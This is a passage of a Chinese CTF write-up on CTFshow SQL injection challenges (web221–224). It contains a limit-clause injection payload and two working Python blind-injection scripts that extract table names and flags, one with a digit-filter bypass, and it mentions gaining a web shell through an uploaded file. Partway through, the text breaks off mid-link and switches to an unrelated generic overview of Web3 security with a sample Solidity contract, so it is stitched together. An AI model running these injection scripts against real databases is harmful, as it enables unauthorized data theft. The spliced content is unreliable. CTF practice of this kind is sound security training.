CTFshow sql注入 上篇(web221-253)

CTF挑战:SQL注入详解
这篇博客详细介绍了CTF比赛中的多个SQL注入题目,包括limit注入、group by注入、堆叠注入、update注入和insert注入等。作者通过实例解析了解题思路,涉及MySQL的各种注入技巧,如盲注、预编译、union重命名法和比较法盲注等,并给出了不同过滤条件下的绕过策略。
`


前言

开始下半部分


题目

web221(limit注入)

做之前,可以先看一下p神的博客,有讲关于limit注入的,版本限制(5.0.0-5.6.6)

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

补充以下:

这里分两种情况,limit前面有无order by,有order by可以用union联合查询的

SELECT * from user LIMIT 1,1 union select * from user

20220411131449
题目用不了union,说明有order by

直接用p神的payload,数据库名就是flag

procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

因为版本问题,select用不了,所以也不能查到更多信息

web222(group by注入)

看到有个去重,点击抓包

初步判断一下,可以用concat(if(1=1,"username",cot(0))),根据回显直接用盲注
在这里插入图片描述

# @Author:Kradress
import requests
import string

url = "http://12ee4415-b331-421c-b9d4-a077a8e155fd.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
payload = "select flagaabc from ctfshow_flaga"

for i in range(1,46):
    print(i)
    for j in dict:
        s = f"?u=concat(if(substr(({
     
     payload}),{
     
     i},1)='{
     
     j}',username,cot(0)))#"
        r = requests.get(url+s)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

web223(group by注入)

对数字进行了过滤

# @Author:Kradress
import requests
import string

url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"

def numToStr(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({
     
     res})"

def numToStr2(num):
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({
     
     res})"

for i in range(1,46):
    print(i)
    for j in dict:
        params={
   
   
            'u' : f"concat(if(substr(({
     
     payload}),{
     
     numToStr(str(i))},true)={
     
     numToStr(j)},username,cot(false)))#"
        }
        r = requests.get(url, params=params)
        # print(r.url)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

web224(文件名注入)

登陆页面试了半天进不去,后面发现有个robot.txt,里面有个重置密码页面

成功进了后台,发现是一个文件上传点,但经过测试,只能上传zip

在这里插入图片描述

没什么思路,群里有个payload.bin可以上传,访问1.php可以getshell
(y1ng师傅也有详细讲解)

https://blog.gem-love.com/ctf/2283.html#%E4%B

### 关于CTFShow Web安全挑战与Web3教程 #### CTFShow平台概述 CTFShow作为一个专注于网络安全领域的“Capture The Flag”(夺旗赛)展示工具或平台,提供了丰富的资源供爱好者们学习和实践。该平台不仅涵盖了多种类型的网络攻防技术,而且特别强调了实际操作能力的培养[^1]。 #### Web安全挑战特点 针对Web类别的挑战项目,在CTFShow上有着详细的分类和支持材料。这些挑战旨在模拟真实世界中存在的各种Web应用漏洞场景,让参赛者能够深入理解诸如SQL注入、XSS跨站脚本攻击等常见威胁的工作原理及其防御措施。对于想要提升自己在Web开发安全性方面技能的人来说是非常有价值的练习机会[^2]。 #### 特定于Web3的安全考量 随着区块链技术和去中心化应用程序(DApps)的发展,基于以太坊智能合约构建的应用程序逐渐成为新的关注焦点之一——即所谓的Web3概念。这类新型互联网架构带来了独特的安全风险因素,比如Solidity语言特性所引发的功能逻辑错误或是Gas优化不当等问题。因此,在参与涉及Web3部分的比赛之前,建议先掌握以下几个方面的基础知识: - **智能合约编程基础**:熟悉Ethereum虚拟机(EVM),了解如何编写简单的ERC标准代币合同。 - **常见的智能合约漏洞模式识别**:如重入(reentrancy), 整数溢出(integer overflow/underflow) 和短地址攻击(short address attack)[^3]. - **测试框架使用方法**: 学会运用Truffle/Ganache这样的本地部署环境来进行单元测试, 并且可以考虑采用Mythril之类的静态分析工具来辅助检测潜在的风险点. 为了更好地准备有关Web3方向上的比赛题目,推荐参考官方文档以及活跃的技术论坛,持续跟踪最新发布的案例研究和技术文章,从而保持对该领域前沿动态的理解。 ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleStorage { uint storedData; function set(uint x) public { storedData = x; // 设置存储的数据 } function get() view public returns (uint){ return storedData; // 获取当前存储的数据 } } ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值